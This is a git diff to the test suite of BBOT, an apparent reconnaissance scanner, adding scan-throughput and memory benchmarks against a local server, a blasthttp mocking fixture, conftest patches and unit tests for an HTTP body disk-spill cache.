+            metrics,
+            chain_length=DEEP_CHAIN_LENGTH,
+            body_size=DEEP_CHAIN_BODY_SIZE,
+        )
+        benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0)
+
+
+class TestParallelChainsMemory:
+    """
+    Many independent chains running concurrently — closest analogue to
+    a real-scale scan over many domains.
+
+    A single deep chain doesn't expose body retention because the
+    spider is naturally serial within a chain (one fetch at a time).
+    Across N independent chains, body windows overlap and bodies pile
+    up even though each chain is individually well-behaved. This is
+    the workload most relevant to the "20-hour scan over thousands of
+    domains" pattern where both body retention and chain retention
+    compound.
+    """
+
+    @pytest.mark.benchmark(group="memory_scan_patterns")
+    def test_memory_use_parallel_chains(self, benchmark):
+        metrics = _run_scan_subprocess(
+            _BENCHMARKS_DIR / "_scan_memory_parallel_chains.py",
+            str(PARALLEL_NUM_SEEDS),
+            str(PARALLEL_CHAIN_LENGTH),
+            str(PARALLEL_BODY_SIZE),
+        )
+        _record(
+            benchmark,
+            metrics,
+            num_seeds=PARALLEL_NUM_SEEDS,
+            chain_length=PARALLEL_CHAIN_LENGTH,
+            body_size=PARALLEL_BODY_SIZE,
+        )
+        benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0)
diff --git a/bbot/test/benchmarks/test_scan_throughput_benchmarks.py b/bbot/test/benchmarks/test_scan_throughput_benchmarks.py
new file mode 100644
index 0000000000..1ccfdbc9ad
--- /dev/null
+++ b/bbot/test/benchmarks/test_scan_throughput_benchmarks.py
@@ -0,0 +1,91 @@
+"""
+Scan throughput benchmark — measures end-to-end HTTP probing performance.
+
+Runs a real BBOT scan against a local httpserver, measuring how many
+HTTP_RESPONSE events are produced per second through the full scan pipeline.
+
+Automatically detects the available HTTP scan module (httpx or http/blasthttp).
+
+Run with:
+    pytest bbot/test/benchmarks/test_scan_throughput_benchmarks.py -v --benchmark-only
+"""
+
+import asyncio
+import importlib.util
+from threading import Thread
+from http.server import HTTPServer, BaseHTTPRequestHandler
+
+import pytest
+
+
+BENCH_PORT = 18899
+
+# On 3.0: scan module is "httpx", output module is "http"
+# On blasthttp branch: scan module is "http", output module is "webhook"
+HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http"
+
+
+class _BenchHandler(BaseHTTPRequestHandler):
+    """Minimal HTTP handler — returns 200 with a small HTML body for all paths."""
+
+    def do_GET(self):
+        body = f"<html><title>{self.path}</title><body>ok</body></html>".encode()
+        self.send_response(200)
+        self.send_header("Content-Type", "text/html")
+        self.send_header("Content-Length", str(len(body)))
+        self.end_headers()
+        self.wfile.write(body)
+
+    def log_message(self, *args):
+        pass
+
+
+@pytest.fixture(scope="module", autouse=True)
+def bench_httpserver():
+    server = HTTPServer(("127.0.0.1", BENCH_PORT), _BenchHandler)
+    t = Thread(target=server.serve_forever, daemon=True)
+    t.start()
+    yield server
+    server.shutdown()
+
+
+def _run_scan(num_urls):
+    """Run a scan with num_urls directory targets, return (http_responses, total_events)."""
+    from bbot.scanner import Scanner
+
+    targets = [f"http://127.0.0.1:{BENCH_PORT}/dir{i}/" for i in range(num_urls)]
+    config = {
+        "web": {"http_timeout": 10, "http_retries": 0, "ssl_verify_target": False},
+        "scope": {"search_distance": 0, "report_distance": 0},
+        "modules": {"speculate": {"ports": str(BENCH_PORT)}},
+        "excavate": False,
+        "aggregate": False,
+        "cloudcheck": False,
+        "omit_event_types": [],
+    }
+
+    scan = Scanner(*targets, modules=[HTTP_MODULE], config=config)
+    event_counts = {}
+
+    async def _inner():
+        async for event in scan.async_start():
+            event_counts[event.type] = event_counts.get(event.type, 0) + 1
+
+    asyncio.run(_inner())
+    return event_counts.get("HTTP_RESPONSE", 0), sum(event_counts.values())
+
+
+class TestScanThroughputBenchmarks:
+    """Benchmark full scan pipeline throughput."""
+
+    def test_scan_throughput_100(self, benchmark):
+        """100 target URLs through the full scan pipeline."""
+        result = benchmark.pedantic(_run_scan, args=(100,), rounds=3, warmup_rounds=1)
+        http_responses, total = result
+        assert http_responses >= 100, f"Expected at least 100 HTTP_RESPONSE events, got {http_responses}"
+
+    def test_scan_throughput_1000(self, benchmark):
+        """1000 target URLs through the full scan pipeline."""
+        result = benchmark.pedantic(_run_scan, args=(1000,), rounds=3, warmup_rounds=1)
+        http_responses, total = result
+        assert http_responses >= 1000, f"Expected at least 1000 HTTP_RESPONSE events, got {http_responses}"
diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py
index 2b39ae2e2b..d82a982db4 100644
--- a/bbot/test/conftest.py
+++ b/bbot/test/conftest.py
@@ -1,13 +1,13 @@
 import os
 import ssl
 import time
+import yaml
 import pytest
 import shutil
 import asyncio
 import logging
 from pathlib import Path
 from contextlib import suppress
-from omegaconf import OmegaConf
 from pytest_httpserver import HTTPServer
 
 from bbot.core import CORE
@@ -23,7 +23,8 @@
 debug_handler.setFormatter(debug_format)
 root_logger.addHandler(debug_handler)
 
-test_config = OmegaConf.load(Path(__file__).parent / "test.conf")
+with open(Path(__file__).parent / "test.conf") as _f:
+    test_config = yaml.safe_load(_f) or {}
 
 os.environ["BBOT_DEBUG"] = "True"
 CORE.logger.log_level = logging.DEBUG
@@ -42,11 +43,6 @@
 CORE.merge_default(test_config)
 
 
-@pytest.fixture
-def assert_all_responses_were_requested() -> bool:
-    return False
-
-
 @pytest.fixture(autouse=True)
 def silence_live_logging():
     for handler in logging.getLogger().handlers:
@@ -54,6 +50,44 @@ def silence_live_logging():
             handler.setLevel(logging.CRITICAL)
 
 
+def _patch_python_module_loader():
+    """Restore the standard ``_module_consumers`` bump on the ``python`` output
+    module for every test scan.
+
+    In production, ``python._increment_consumer_count`` is a no-op (its
+    ``_worker`` is also no-op — see ``bbot/modules/output/python.py``),
+    so events flowing through ``async_start`` don't pin themselves and
+    ``_minimize()`` correctly strips heavy fields when their pipeline
+    finishes. But module + integration tests routinely do
+    ``events = [e async for e in scan.async_start()]`` and assert on
+    ``event.tags`` / ``event.resolved_hosts`` / ``event.body`` / etc.
+    *after* the scan completes — so for tests we want the standard
+    increment to fire, which keeps events pinned through assertion time.
+
+    BBOT's ``ModuleLoader.load_module`` exec's a fresh module spec each
+    call, so each Scanner gets a brand-new ``python`` *class object*,
+    not the one we'd see by importing ``bbot.modules.output.python``
+    statically. Patching the imported class therefore has no effect.
+    Instead we wrap the loader: every time a fresh ``python`` class is
+    materialized, restore the increment on it.
+    """
+    from bbot.core.modules import ModuleLoader
+    from bbot.modules.base import BaseModule
+
+    orig = ModuleLoader.load_module
+
+    def patched(self, module_name):
+        cls = orig(self, module_name)
+        if module_name == "python":
+            cls._increment_consumer_count = BaseModule._increment_consumer_count
+        return cls
+
+    ModuleLoader.load_module = patched
+
+
+_patch_python_module_loader()
+
+
 def stop_server(server):
     server.stop()
     while server.is_running():
@@ -93,21 +127,97 @@ def bbot_httpserver_ssl():
     server.clear()
 
 
-def should_mock(request):
-    return request.url.host not in ["127.0.0.1", "localhost", "raw.githubusercontent.com"] + interactsh_servers
+def _should_mock(host):
+    """Check if a request to this host should be mocked (True = mock, False = pass through)."""
+    return host not in ["127.0.0.1", "localhost", "raw.githubusercontent.com"] + interactsh_servers
 
 
-def pytest_collection_modifyitems(config, items):
-    # make sure all tests have the httpx_mock marker
-    for item in items:
-        item.add_marker(
-            pytest.mark.httpx_mock(
-                should_mock=should_mock,
-                assert_all_requests_were_expected=False,
-                assert_all_responses_were_requested=False,
-                can_send_already_matched_responses=True,
-            )
-        )
+@pytest.fixture
+def blasthttp_mock():
+    """
+    Mock fixture for blasthttp engine requests.
+
+    Patches HTTPEngine.request() to intercept external requests and return
+    mock responses. Requests to localhost/127.0.0.1 pass through to real blasthttp.
+    """
+    from bbot.core.helpers.web.web import WebHelper
+    from bbot.test.mock_blasthttp import BlasthttpMock
+
+    mock = BlasthttpMock(should_mock_fn=_should_mock)
+    original_request = WebHelper.request
+
+    async def patched_request(self, *args, **kwargs):
+        # Peek at URL without modifying kwargs
+        url = kwargs.get("url", "")
+        if not url and args:
+            url = str(args[0])
+        # If resolve_ip points to localhost, pass through to real blasthttp
+        resolve_ip = kwargs.get("resolve_ip", "")
+        if resolve_ip and resolve_ip in ("127.0.0.1", "::1"):
+            return await original_request(self, *args, **kwargs)
+        if url and mock.should_intercept(url):
+            # Read raise_error before the mock pops it
+            raise_error = kwargs.get("raise_error", False)
+            result = await mock.handle_engine_request(self, *args, **kwargs)
+            # Convert engine-style error dicts to WebError exceptions
+            if isinstance(result, dict) and "_request_error" in result:
+                if raise_error:
+                    from bbot.errors import WebError
+
+                    error = WebError(result["_request_error"])
+                    error.response = result.get("_response")
+                    raise error
+                return None
+            return result
+        return await original_request(self, *args, **kwargs)
+
+    original_request_batch_stream = WebHelper.request_batch_stream
+
+    async def patched_request_batch_stream(self, urls, threads=10, **kwargs):
+        import blasthttp
+        from collections import deque
+
+        # Run the real entry-parsing and config-building logic unmodified
+        entries = []
+        has_tracker = False
+        for entry in urls:
+            if isinstance(entry, str):
+                entries.append((entry, kwargs, None))
+            elif isinstance(entry, tuple):
+                url = entry[0]
+                req_kwargs = entry[1] if len(entry) > 1 and isinstance(entry[1], dict) else kwargs
+                tracker = entry[2] if len(entry) > 2 else None
+                if tracker is not None:
+                    has_tracker = True
+                entries.append((url, req_kwargs, tracker))
+            else:
+                entries.append((str(entry), kwargs, None))
+
+        if not entries:
+            return
+
+        configs = []
+        trackers_by_url = {}
+        for url, req_kwargs, tracker in entries:
+            url, method, blast_kwargs = self._build_blasthttp_kwargs(url, **req_kwargs)
+            config = blasthttp.BatchConfig(url, **blast_kwargs)
+            configs.append(config)
+            trackers_by_url.setdefault(config.url, deque()).append(tracker)
+
+        async for br in mock.handle_batch_stream(self.client, configs, concurrency=threads):
+            response = br.response  # blasthttp.Response or None
+            if has_tracker:
+                queue = trackers_by_url.get(br.url)
+                tracker = queue.popleft() if queue else None
+                yield br.url, response, tracker
+            else:
+                yield br.url, response
+
+    WebHelper.request = patched_request
+    WebHelper.request_batch_stream = patched_request_batch_stream
+    yield mock
+    WebHelper.request = original_request
+    WebHelper.request_batch_stream = original_request_batch_stream
 
 
 @pytest.fixture
@@ -340,9 +450,38 @@ def pytest_sessionfinish(session, exitstatus):
         for handler in handlers:
             logger.removeHandler(handler)
 
+    # Kill any orphaned ProcessPoolExecutor workers that could block exit
+    import multiprocessing
+
+    for child in multiprocessing.active_children():
+        if child.is_alive():
+            child.terminate()
+            child.join(timeout=5)
+            if child.is_alive():
+                child.kill()
+
     # Wipe out BBOT home dir
     shutil.rmtree("/tmp/.bbot_test", ignore_errors=True)
 
+    # Ensure stdout/stderr are blocking before pytest writes summaries
+    try:
+        import sys
+        import fcntl
+        import os
+        import io
+
+        fds = []
+        for stream in (sys.stdout, sys.stderr):
+            try:
+                fds.append(stream.fileno())
+            except io.UnsupportedOperation:
+                pass
+        for fd in fds:
+            flags = fcntl.fcntl(fd, fcntl.F_GETFL)
+            fcntl.fcntl(fd, fcntl.F_SETFL, flags & ~os.O_NONBLOCK)
+    except Exception:
+        pass
+
     yield
 
     # temporarily suspend stdout capture and print detailed thread info
diff --git a/bbot/test/fastapi_test.py b/bbot/test/fastapi_test.py
index f0c7b2d789..be327ed541 100644
--- a/bbot/test/fastapi_test.py
+++ b/bbot/test/fastapi_test.py
@@ -1,5 +1,5 @@
 from typing import List
-from bbot import Scanner
+from bbot.scanner import Scanner
 from fastapi import FastAPI, Query
 
 app = FastAPI()
@@ -7,7 +7,7 @@
 
 @app.get("/start")
 async def start(targets: List[str] = Query(...)):
-    scanner = Scanner(*targets, modules=["httpx"])
+    scanner = Scanner(*targets, modules=["http"])
     events = [e async for e in scanner.async_start()]
     return [e.json() for e in events]
 
diff --git a/bbot/test/mock_blasthttp.py b/bbot/test/mock_blasthttp.py
new file mode 100644
index 0000000000..6f9fa8765c
--- /dev/null
+++ b/bbot/test/mock_blasthttp.py
@@ -0,0 +1,207 @@
+"""
+Bbot-specific test fixture that wraps `blasthttp.mock.BlasthttpMock`
+with WebHelper kwarg translation.
+
+The generic mock infrastructure — handler queue with FIFO + recycle,
+URL/method/header/json predicates, sync + async callbacks — lives in
+`blasthttp.mock`. This module adds the bbot-specific surface:
+
+  - `handle_engine_request(self, web_helper, *args, **kwargs)`
+    translates `WebHelper.request()` kwargs (auth tuple, cookies dict,
+    json/data body, raise_error semantics, allow_redirects) into the
+    blasthttp.request shape, dispatches through the mock, and returns
+    the response (or an error dict the patched WebHelper translates
+    into a WebError).
+
+  - `handle_batch_stream(real_client, configs, concurrency, ...)`
+    splits configs by `should_intercept`, dispatches mocked URLs
+    through the handler queue and forwards the rest to `real_client`'s
+    streaming batch API. The signature takes `real_client` per-call
+    because the test fixture doesn't have one at construction time
+    (the WebHelper's client is created later, when the scan starts).
+
+`MockRequest`, `MockResponse`, `TimeoutException`, and the underlying
+`BlasthttpMock` API (`add_response`, `add_callback`, `should_intercept`)
+are all reachable directly so existing test imports
+(``from bbot.test.mock_blasthttp import MockResponse``,
+``module_test.blasthttp_mock.add_response(...)``) keep working.
+"""
+
+import json as _json
+from urllib.parse import urlencode
+
+from blasthttp.mock import (  # noqa: F401
+    BlasthttpMock as _BlasthttpMock,
+    MockRequest,
+    MockResponse,
+    TimeoutException,
+)
+
+
+class BlasthttpMock:
+    """
+    Bbot-flavored mock — wraps a `blasthttp.mock.BlasthttpMock` and
+    adds bbot-specific WebHelper kwarg translation plus a per-call
+    `real_client` batch-stream entry point. All other attributes
+    (``add_response``, ``add_callback``, ``should_intercept``, etc.)
+    forward to the inner mock via ``__getattr__``.
+    """
+
+    def __init__(self, should_mock_fn=None):
+        self._inner = _BlasthttpMock(should_mock_fn=should_mock_fn)
+        self._should_mock_fn = should_mock_fn
+
+    # ── Forward everything else (add_response, add_callback,
+    #    should_intercept, request, request_batch, ...) ──────────────
+    def __getattr__(self, name):
+        return getattr(self._inner, name)
+
+    # ── Single-request entry point used by the patched WebHelper ────
+
+    async def handle_engine_request(self, web_helper_self, *args, **kwargs):
+        """
+        Process kwargs the way ``WebHelper.request()`` does and dispatch
+        through the mock. Called by the patched WebHelper.request.
+
+        Pops bbot-/httpx-specific kwargs (``raise_error``, ``cache_for``,
+        ``stream``, ``files``, ``client``), translates ``auth`` tuple
+        and ``cookies`` dict into headers, assembles ``json``/``data``
+        into a body, then dispatches via ``self._inner.request(...)``.
+        """
+        raise_error = kwargs.pop("raise_error", False)
+        for k in ("cache_for", "client", "stream"):
+            kwargs.pop(k, None)
+
+        allow_redirects = kwargs.pop("allow_redirects", None)
+        if allow_redirects is not None and "follow_redirects" not in kwargs:
+            kwargs["follow_redirects"] = allow_redirects
+
+        # Positional URL → kwarg.
+        if len(args) == 1:
+            kwargs["url"] = args[0]
+            args = ()
+
+        url = kwargs.pop("url", "")
+        method = kwargs.pop("method", "GET")
+        headers = kwargs.pop("headers", None) or {}
+        body = kwargs.pop("body", None)
+        data = kwargs.pop("data", None)
+        files = kwargs.pop("files", None)
+        json_body = kwargs.pop("json", None)
+        body_sources = [
+            name
+            for name, val in (("body", body), ("data", data), ("json", json_body), ("files", files))
+            if val is not None
+        ]
+        if len(body_sources) > 1:
+            raise ValueError(
+                f"request() got conflicting body kwargs {body_sources}; pass at most one of body, data, json, files"
+            )
+        cookies = kwargs.pop("cookies", None)
+        auth = kwargs.pop("auth", None)
+        # Drop kwargs that don't apply to mock dispatch but are valid on WebHelper.
+        for k in ("timeout", "max_redirects", "proxy", "retries", "params", "max_body_size"):
+            kwargs.pop(k, None)
+        follow_redirects = kwargs.pop("follow_redirects", None)
+
+        # Synthesize Authorization header from auth tuple (mirrors engine.py)
+        if auth:
+            import base64
+
+            user, passwd = auth
+            cred = base64.b64encode(f"{user}:{passwd}".encode()).decode()
+            headers["Authorization"] = f"Basic {cred}"
+
+        # Synthesize Cookie header from cookies dict (mirrors engine.py)
+        if cookies:
+            headers["Cookie"] = "; ".join(f"{ck}={cv}" for ck, cv in cookies.items())
+
+        # Assemble body for handler-side matching/dispatch. files= wins (multipart),
+        # then json, then data, then raw body.
+        final_body = b""
+        if files is None:
+            if json_body is not None:
+                final_body = _json.dumps(json_body)
+                headers.setdefault("Content-Type", "application/json")
+            elif data is not None:
+                if isinstance(data, dict):
+                    final_body = urlencode(data)
+                    headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
+                else:
+                    final_body = data if isinstance(data, (bytes, bytearray)) else str(data)
+            elif body is not None:
+                final_body = body if isinstance(body, (bytes, bytearray)) else str(body)
+
+        try:
+            inner_kwargs = {
+                "method": method,
+                "headers": headers,
+                "follow_redirects": follow_redirects,
+            }
+            if files is not None:
+                inner_kwargs["files"] = files
+            else:
+                inner_kwargs["body"] = final_body
+            return await self._inner.request(url, **inner_kwargs)
+        except Exception as e:
+            import logging
+
+            logging.getLogger("bbot.test.mock").debug(f"Mock exception for {method} {url}: {e}")
+            if raise_error:
+                # Convert to the engine-style error dict that the patched
+                # WebHelper.request expects to translate into a WebError.
+                return {"_request_error": str(e), "_response": None}
+            return None
+
+    # ── Batch-streaming entry point (per-call real_client) ──────────
+
+    async def handle_batch_stream(self, real_client, configs, concurrency, rate_limit=None):
+        """
+        Stream a batch of `BatchConfig` objects.
+
+        Yields one ``BatchResult`` per item — mocked results first
+        (input order, synchronous), then passthrough results
+        (completion order from the real client).
+
+        Takes ``real_client`` per-call because the WebHelper's client
+        isn't available at fixture construction time. We can't pass
+        it once at construction, so we manually split configs here
+        and dispatch each side appropriately.
+        """
+        import blasthttp
+
+        mock_configs = []
+        passthrough_configs = []
+        for config in configs:
+            url = getattr(config, "url", str(config))
+            if self._inner.should_intercept(url):
+                mock_configs.append(config)
+            else:
+                passthrough_configs.append(config)
+
+        # Dispatch mocked configs synchronously, in input order.
+        for config in mock_configs:
+            url = getattr(config, "url", str(config))
+            method = getattr(config, "method", "GET") or "GET"
+            raw_headers = getattr(config, "headers", None) or []
+            headers = dict(raw_headers) if raw_headers else {}
+            body = getattr(config, "body", None) or ""
+            try:
+                response = await self._inner.request(url, method=method, headers=headers, body=body)
+                yield blasthttp.BatchResult(url, response=response)
+            except Exception as e:
+                yield blasthttp.BatchResult(url, error=str(e))
+
+        # Stream passthrough through the real client. Its iterator
+        # yields lists; flatten so the consumer sees one BatchResult
+        # per yield (matches the mock's contract).
+        if passthrough_configs:
+            stream = real_client.request_batch_stream(
+                passthrough_configs, concurrency=concurrency, rate_limit=rate_limit
+            )
+            async for item in stream:
+                if isinstance(item, list):
+                    for r in item:
+                        yield r
+                else:
+                    yield item
diff --git a/bbot/test/test.conf b/bbot/test/test.conf
index 1c6a19dbf7..7c607615a7 100644
--- a/bbot/test/test.conf
+++ b/bbot/test/test.conf
@@ -1,10 +1,8 @@
 home: /tmp/.bbot_test
 modules:
-  massdns:
+  dnsbrute:
     wordlist: https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt
-  ffuf:
-    prefix_busting: true
-  http:
+  webhook:
     url: http://127.0.0.1:11111
     username: username
     password: password
@@ -25,7 +23,7 @@ dns:
   disable: false
   minimal: true
   search_distance: 1
-  debug: false
+  debug: true
   timeout: 1
   wildcard_ignore:
     - blacklanternsecurity.com
@@ -40,11 +38,8 @@ deps:
   behavior: retry_failed
 engine:
   debug: true
-agent_url: ws://127.0.0.1:8765
-agent_token: test
 speculate: false
 excavate: false
 aggregate: false
 cloudcheck: false
 omit_event_types: []
-debug: true
diff --git a/bbot/test/test_step_1/test__module__tests.py b/bbot/test/test_step_1/test__module__tests.py
index 6221b61490..b68ad50a5d 100644
--- a/bbot/test/test_step_1/test__module__tests.py
+++ b/bbot/test/test_step_1/test__module__tests.py
@@ -2,7 +2,7 @@
 import importlib
 from pathlib import Path
 
-from bbot import Preset
+from bbot.scanner import Preset
 from ..test_step_2.module_tests.base import ModuleTestBase
 
 log = logging.getLogger("bbot.test.modules")
diff --git a/bbot/test/test_step_1/test_bbot_fastapi.py b/bbot/test/test_step_1/test_bbot_fastapi.py
index 669ca827d9..2c122f3191 100644
--- a/bbot/test/test_step_1/test_bbot_fastapi.py
+++ b/bbot/test/test_step_1/test_bbot_fastapi.py
@@ -1,17 +1,20 @@
 import time
-import httpx
+import json
 import multiprocessing
 from pathlib import Path
 from subprocess import Popen
 from contextlib import suppress
+from urllib.request import urlopen, Request
+from urllib.error import URLError
+from urllib.parse import urlencode
 
 cwd = Path(__file__).parent.parent.parent
 
 
 def run_bbot_multiprocess(queue):
-    from bbot import Scanner
+    from bbot.scanner import Scanner
 
-    scan = Scanner("http://127.0.0.1:8888", "blacklanternsecurity.com", modules=["httpx"])
+    scan = Scanner("http://127.0.0.1:8888", "blacklanternsecurity.com", modules=["http"])
     events = [e.json() for e in scan.start()]
     queue.put(events)
 
@@ -27,7 +30,7 @@ def test_bbot_multiprocess(bbot_httpserver):
     assert len(events) >= 3
     scan_events = [e for e in events if e["type"] == "SCAN"]
     assert len(scan_events) == 2
-    assert any(e["data"] == "test@blacklanternsecurity.com" for e in events)
+    assert any(e.get("data", "") == "test@blacklanternsecurity.com" for e in events)
 
 
 def test_bbot_fastapi(bbot_httpserver):
@@ -39,26 +42,24 @@ def test_bbot_fastapi(bbot_httpserver):
         start_time = time.time()
         while True:
             try:
-                response = httpx.get("http://127.0.0.1:8978/ping")
-                response.raise_for_status()
+                response = urlopen("http://127.0.0.1:8978/ping")
+                response.read()
                 break
-            except httpx.HTTPError:
+            except (URLError, ConnectionError):
                 if time.time() - start_time > 60:
                     raise TimeoutError("Server did not start within 60 seconds.")
                 time.sleep(0.1)
                 continue
 
         # run a scan
-        response = httpx.get(
-            "http://127.0.0.1:8978/start",
-            params={"targets": ["http://127.0.0.1:8888", "blacklanternsecurity.com"]},
-            timeout=100,
-        )
-        events = response.json()
+        params = urlencode({"targets": ["http://127.0.0.1:8888", "blacklanternsecurity.com"]}, doseq=True)
+        req = Request(f"http://127.0.0.1:8978/start?{params}")
+        response = urlopen(req, timeout=100)
+        events = json.loads(response.read())
         assert len(events) >= 3
         scan_events = [e for e in events if e["type"] == "SCAN"]
         assert len(scan_events) == 2
-        assert any(e["data"] == "test@blacklanternsecurity.com" for e in events)
+        assert any(e.get("data", "") == "test@blacklanternsecurity.com" for e in events)
 
     finally:
         with suppress(Exception):
diff --git a/bbot/test/test_step_1/test_bloom_filter.py b/bbot/test/test_step_1/test_bloom_filter.py
index 0a43f34157..73e1be0094 100644
--- a/bbot/test/test_step_1/test_bloom_filter.py
+++ b/bbot/test/test_step_1/test_bloom_filter.py
@@ -13,6 +13,7 @@ def generate_random_strings(n, length=10):
     from bbot.scanner import Scanner
 
     scan = Scanner()
+    await scan._prep()
 
     n_items_to_add = 100000
     n_items_to_test = 100000
diff --git a/bbot/test/test_step_1/test_body_spill.py b/bbot/test/test_step_1/test_body_spill.py
new file mode 100644
index 0000000000..5484d147c8
--- /dev/null
+++ b/bbot/test/test_step_1/test_body_spill.py
@@ -0,0 +1,278 @@
+"""
+Tests for HTTP_RESPONSE body disk-spill (``bbot.core.event.spill``).
+
+Two layers:
+  - ``TestBodySpillStore``: direct unit tests of the LRU + disk store.
+  - ``TestHTTPResponseSpill``: integration tests asserting that
+    HTTP_RESPONSE events route bodies through the spill store when one
+    is attached to the scan, and fall back to in-memory data when not.
+  - ``TestBaselineSnapshot``: unit tests of the HttpCompare baseline
+    snapshot that also spills its body through the store.
+"""
+
+import gc
+
+import pytest
+
+from bbot.core.event.spill import BodySpillStore
+from bbot.core.helpers.diff import _BaselineSnapshot
+
+from ..bbot_fixtures import *  # noqa: F401, F403
+
+
+class _FakeResponse:
+    """Minimal stand-in for a blasthttp Response for snapshot tests."""
+
+    def __init__(self, body_bytes=b"", text="", status_code=200, headers=None):
+        self.body_bytes = body_bytes
+        self.text = text
+        self.status_code = status_code
+        self.headers = {} if headers is None else headers
+
+
+# ── BodySpillStore unit tests ─────────────────────────────────────────
+
+
+class TestBodySpillStore:
+    def test_roundtrip_compressed(self, tmp_path):
+        store = BodySpillStore(tmp_path, cache_bytes=4096, compress=True)
+        # Every byte value plus some recognizable binary magic. If a UTF-8
+        # round-trip ever sneaks back in, this body would be corrupted.
+        raw = bytes(range(256)) + b"PK\x03\x04hello"
+        store.write("uuid-1", raw)
+        assert store.read("uuid-1") == raw
+
+    def test_roundtrip_uncompressed(self, tmp_path):
+        store = BodySpillStore(tmp_path, cache_bytes=4096, compress=False)
+        raw = b"hello world\x00\xff"
+        store.write("uuid-1", raw)
+        assert store.read("uuid-1") == raw
+
+    def test_cache_hit_does_not_touch_disk(self, tmp_path):
+        # After write, body is in cache. Delete the file. Read should still
+        # succeed because the cache holds the body.
+        store = BodySpillStore(tmp_path, cache_bytes=4096)
+        store.write("uuid-1", b"hello")
+        for f in tmp_path.iterdir():
+            f.unlink()
+        assert store.read("uuid-1") == b"hello"
+
+    def test_cache_miss_loads_from_disk(self, tmp_path):
+        # Force eviction by inserting another body that pushes the first out.
+        store = BodySpillStore(tmp_path, cache_bytes=200, compress=False)
+        store.write("a", b"X" * 150)
+        store.write("b", b"Y" * 150)  # would total 300 — must evict 'a'
+        assert "a" not in store._cache
+        # 'a' is still on disk; reading should miss the cache and fetch it.
+        prior_misses = store.stats()["misses"]
+        assert store.read("a") == b"X" * 150
+        assert store.stats()["misses"] == prior_misses + 1
+
+    def test_eviction_biggest_first(self, tmp_path):
+        """
+        Cache budget of 300; insert small (50), medium (100), then big (200).
+        big triggers eviction. Among current cache contents (small=50,
+        medium=100), biggest-first picks medium.
+        """
+        store = BodySpillStore(tmp_path, cache_bytes=300, compress=False)
+        store.write("small", b"X" * 50)
+        store.write("medium", b"Y" * 100)
+        store.write("big", b"Z" * 200)
+        assert "small" in store._cache
+        assert "big" in store._cache
+        assert "medium" not in store._cache
+        assert store.stats()["evictions"] == 1
+
+    def test_eviction_fifo_tiebreak(self, tmp_path):
+        """
+        Two equal-size entries. Inserting a third forces eviction; the
+        older one (smaller seq) goes first.
+        """
+        store = BodySpillStore(tmp_path, cache_bytes=200, compress=False)
+        store.write("first", b"A" * 100)
+        store.write("second", b"B" * 100)  # cache full at 200
+        store.write("new", b"C" * 50)  # forces eviction of 'first'
+        assert "first" not in store._cache
+        assert "second" in store._cache
+        assert "new" in store._cache
+
+    def test_oversized_body_skips_cache(self, tmp_path):
+        """A body bigger than the entire cache budget is written to disk
+        but never enters the cache (would force-evict everything else
+        for nothing)."""
+        store = BodySpillStore(tmp_path, cache_bytes=100, compress=False)
+        store.write("huge", b"X" * 500)
+        assert "huge" not in store._cache
+        # Still readable from disk
+        assert store.read("huge") == b"X" * 500
+
+    def test_evict_and_delete_removes_file_and_cache(self, tmp_path):
+        store = BodySpillStore(tmp_path, cache_bytes=4096)
+        store.write("uuid-1", b"hello")
+        assert any(tmp_path.iterdir())
+        store.evict_and_delete("uuid-1")
+        assert "uuid-1" not in store._cache
+        assert not list(tmp_path.iterdir())
+        # Subsequent reads return None
+        assert store.read("uuid-1") is None
+
+    def test_stats(self, tmp_path):
+        store = BodySpillStore(tmp_path, cache_bytes=4096)
+        store.write("a", b"hello")
+        store.read("a")  # hit
+        store.read("nonexistent")  # miss + nothing on disk
+        s = store.stats()
+        assert s["hits"] == 1
+        assert s["misses"] == 1
+        assert s["writes"] == 1
+        assert s["hit_rate"] == 0.5
+
+    def test_empty_body_not_written(self, tmp_path):
+        # Caller is expected to skip empty bodies; the store doesn't enforce
+        # but should at least roundtrip cleanly.
+        store = BodySpillStore(tmp_path, cache_bytes=4096)
+        store.write("empty", b"")
+        # zstd-compressed empty bytes is still a small frame; we should
+        # be able to round-trip to b"".
+        assert store.read("empty") == b""
+
+    def test_rejects_non_bytes(self, tmp_path):
+        store = BodySpillStore(tmp_path, cache_bytes=4096)
+        with pytest.raises(TypeError):
+            store.write("uuid-1", "string-not-bytes")  # type: ignore[arg-type]
+
+
+# ── HTTP_RESPONSE event integration tests ────────────────────────────
+
+
+@pytest.fixture
+def fake_response_data():
+    """Minimal valid HTTP_RESPONSE data dict."""
+    return {
+        "url": "http://example.com:80/",
+        "input": "http://example.com:80/",
+        "method": "GET",
+        "path": "/",
+        "host": "example.com",
+        "status_code": 200,
+        "title": "Example",
+        "raw_header": "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n",
+        "header": {"content_type": "text/html"},
+        "content_type": "text/html",
+        "content_length": 23,
+        "body": "<html><body>hi</body></html>",
+        "location": "",
+        "hash": {
+            "body_md5": "x" * 32,
+            "body_mmh3": "0",
+            "body_sha256": "x" * 64,
+            "header_md5": "x" * 32,
+            "header_mmh3": "0",
+            "header_sha256": "x" * 64,
+        },
+    }
+
+
+class TestHTTPResponseSpill:
+    @pytest.mark.asyncio
+    async def test_body_routed_through_spill_store(self, bbot_scanner, fake_response_data):
+        """When a scan has a body_spill_store, body is removed from _data
+        and accessed via event.body which reads from the store."""
+        scan = bbot_scanner("http://example.com")
+        await scan._prep()
+        assert scan.body_spill_store is not None, "body_spill_store should be created in _prep"
+
+        event = scan.make_event(fake_response_data, "HTTP_RESPONSE", parent=scan.root_event)
+        # body should NOT be in _data (it's been spilled)
+        assert "body" not in event._data
+        # but event.body should still return the original body
+        assert event.body == "<html><body>hi</body></html>"
+        # And the spill store has it
+        assert scan.body_spill_store.stats()["writes"] >= 1
+
+    @pytest.mark.asyncio
+    async def test_minimize_evicts_and_deletes(self, bbot_scanner, fake_response_data):
+        """When _minimize() drops _module_consumers to 0, the body file
+        and cache entry should be removed."""
+        scan = bbot_scanner("http://example.com")
+        await scan._prep()
+
+        event = scan.make_event(fake_response_data, "HTTP_RESPONSE", parent=scan.root_event)
+        # Force a normal lifecycle: bump consumers up then drain to 0
+        event._module_consumers = 1
+        event._minimize()  # drops to 0 → triggers eviction
